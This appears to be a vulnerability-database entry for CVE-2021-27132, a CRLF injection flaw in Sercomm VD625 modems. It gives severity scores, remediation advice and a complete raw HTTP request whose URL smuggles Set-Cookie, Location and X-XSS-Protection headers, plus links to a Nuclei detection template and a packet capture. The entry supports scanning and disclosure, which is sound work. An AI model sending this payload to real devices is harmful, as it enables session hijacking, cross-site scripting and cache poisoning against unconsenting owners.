| Title | Sercomm VD625 Smart Modems - CRLF Injection |
|---|---|
| Author | geeknik |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning. |
| Remediation | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7855 |
| CVE ID | CVE-2021-27132 |
| CWE ID | CWE-74 |
| Tags | cve2021 cve crlf injection sercomm xss vuln |
Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
GET /test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27132.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27132.pcap
N/AN/A